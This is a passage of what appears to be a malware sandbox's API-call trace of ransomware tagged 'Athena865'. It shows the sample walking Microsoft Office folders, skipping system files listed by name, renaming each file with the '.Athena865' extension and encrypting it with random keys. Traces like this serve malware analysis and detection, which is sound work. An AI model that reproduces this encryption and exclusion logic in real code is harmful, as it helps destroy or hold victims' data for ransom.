(lpString1="CLVWINTL.DLL", lpString2="perflogs") returned -1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="MSBuild") returned -1 [0139.692] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0139.692] lstrcpyW (in: lpString1=0x241e8a8, lpString2="CLVWINTL.DLL" | out: lpString1="CLVWINTL.DLL") returned="CLVWINTL.DLL" [0139.692] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0139.692] lstrlenW (lpString="Athena865") returned 9 [0139.692] lstrcmpiW (lpString1="WINTL.DLL", lpString2="Athena865") returned 1 [0139.692] lstrlenW (lpString=".dll") returned 4 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".dll") returned 1 [0139.692] lstrlenW (lpString=".lnk") returned 4 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".lnk") returned 1 [0139.692] lstrlenW (lpString=".ini") returned 4 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".ini") returned 1 [0139.692] lstrlenW (lpString=".sys") returned 4 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".sys") returned 1 [0139.692] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0139.692] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.Athena865") returned 70 [0139.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.athena865"), dwFlags=0x1) returned 1 [0139.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.694] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19880) returned 1 [0139.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.695] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.695] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.695] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.695] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50b0, lpName=0x0) returned 0x17c [0139.697] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x50b0) returned 0x100000 [0139.698] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.699] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.699] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.700] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.700] CloseHandle (hObject=0x17c) returned 1 [0139.700] CloseHandle (hObject=0x154) returned 1 [0139.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.700] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0139.700] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".") returned 1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="..") returned 1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="windows") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="bootmgr") returned 1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="temp") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="pagefile.sys") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="boot") returned 1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="ids.txt") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="ntuser.dat") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="perflogs") returned -1 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2="MSBuild") returned -1 [0139.701] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0139.701] lstrcpyW (in: lpString1=0x241e8a8, lpString2="CMAXRES.DLL" | out: lpString1="CMAXRES.DLL") returned="CMAXRES.DLL" [0139.701] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0139.701] lstrlenW (lpString="Athena865") returned 9 [0139.701] lstrcmpiW (lpString1="AXRES.DLL", lpString2="Athena865") returned 1 [0139.701] lstrlenW (lpString=".dll") returned 4 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".dll") returned 1 [0139.701] lstrlenW (lpString=".lnk") returned 4 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".lnk") returned 1 [0139.701] lstrlenW (lpString=".ini") returned 4 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".ini") returned 1 [0139.701] lstrlenW (lpString=".sys") returned 4 [0139.701] lstrcmpiW (lpString1="CMAXRES.DLL", lpString2=".sys") returned 1 [0139.701] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0139.701] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.Athena865") returned 69 [0139.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.athena865"), dwFlags=0x1) returned 1 [0139.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.704] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35216) returned 1 [0139.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.705] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.705] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.706] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c90, lpName=0x0) returned 0x17c [0139.707] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c90) returned 0x100000 [0139.709] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.710] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.710] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.711] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.711] CloseHandle (hObject=0x17c) returned 1 [0139.711] CloseHandle (hObject=0x154) returned 1 [0139.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.712] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".") returned 1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="..") returned 1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="windows") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="bootmgr") returned 1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="temp") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="pagefile.sys") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="boot") returned 1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="ids.txt") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="ntuser.dat") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="perflogs") returned -1 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2="MSBuild") returned -1 [0139.712] lstrlenW (lpString="COFFEE.CSS") returned 10 [0139.712] lstrcpyW (in: lpString1=0x241e8a8, lpString2="COFFEE.CSS" | out: lpString1="COFFEE.CSS") returned="COFFEE.CSS" [0139.712] lstrlenW (lpString="COFFEE.CSS") returned 10 [0139.712] lstrlenW (lpString="Athena865") returned 9 [0139.712] lstrcmpiW (lpString1="OFFEE.CSS", lpString2="Athena865") returned 1 [0139.712] lstrlenW (lpString=".dll") returned 4 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".dll") returned 1 [0139.712] lstrlenW (lpString=".lnk") returned 4 [0139.712] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".lnk") returned 1 [0139.713] lstrlenW (lpString=".ini") returned 4 [0139.713] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".ini") returned 1 [0139.713] lstrlenW (lpString=".sys") returned 4 [0139.713] lstrcmpiW (lpString1="COFFEE.CSS", lpString2=".sys") returned 1 [0139.713] lstrlenW (lpString="COFFEE.CSS") returned 10 [0139.713] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.Athena865") returned 68 [0139.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css.athena865"), dwFlags=0x1) returned 1 [0139.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.714] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0139.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.715] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.715] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.715] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.716] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x17c [0139.717] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0139.718] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.719] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.719] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.719] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.719] CloseHandle (hObject=0x17c) returned 1 [0139.719] CloseHandle (hObject=0x154) returned 1 [0139.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.720] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="COLLEC~1.XSN")) returned 1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".") returned 1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="..") returned 1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="windows") returned -1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="bootmgr") returned 1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="temp") returned -1 [0139.720] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="pagefile.sys") returned -1 [0139.721] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="boot") returned 1 [0139.721] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="ids.txt") returned -1 [0139.721] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="ntuser.dat") returned -1 [0139.721] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="perflogs") returned -1 [0139.721] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2="MSBuild") returned -1 [0139.721] lstrlenW (lpString="CollectSignatures_Init.xsn") returned 26 [0139.721] lstrcpyW (in: lpString1=0x241e8a8, lpString2="CollectSignatures_Init.xsn" | out: lpString1="CollectSignatures_Init.xsn") returned="CollectSignatures_Init.xsn" [0139.721] lstrlenW (lpString="CollectSignatures_Init.xsn") returned 26 [0139.721] lstrlenW (lpString="Athena865") returned 9 [0139.721] lstrcmpiW (lpString1="_Init.xsn", lpString2="Athena865") returned -1 [0139.722] lstrlenW (lpString=".dll") returned 4 [0139.722] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".dll") returned 1 [0139.722] lstrlenW (lpString=".lnk") returned 4 [0139.722] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".lnk") returned 1 [0139.722] lstrlenW (lpString=".ini") returned 4 [0139.722] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".ini") returned 1 [0139.722] lstrlenW (lpString=".sys") returned 4 [0139.722] lstrcmpiW (lpString1="CollectSignatures_Init.xsn", lpString2=".sys") returned 1 [0139.722] lstrlenW (lpString="CollectSignatures_Init.xsn") returned 26 [0139.722] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn.Athena865") returned 84 [0139.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn.athena865"), dwFlags=0x1) returned 1 [0139.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.724] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13758) returned 1 [0139.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.724] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.725] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.725] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.725] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38c0, lpName=0x0) returned 0x17c [0139.727] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38c0) returned 0x100000 [0139.728] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.729] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.729] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.729] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.730] CloseHandle (hObject=0x17c) returned 1 [0139.730] CloseHandle (hObject=0x154) returned 1 [0139.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.730] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="COLLEC~2.XSN")) returned 1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".") returned 1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="..") returned 1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="windows") returned -1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="bootmgr") returned 1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="temp") returned -1 [0139.730] lstrcmpiW 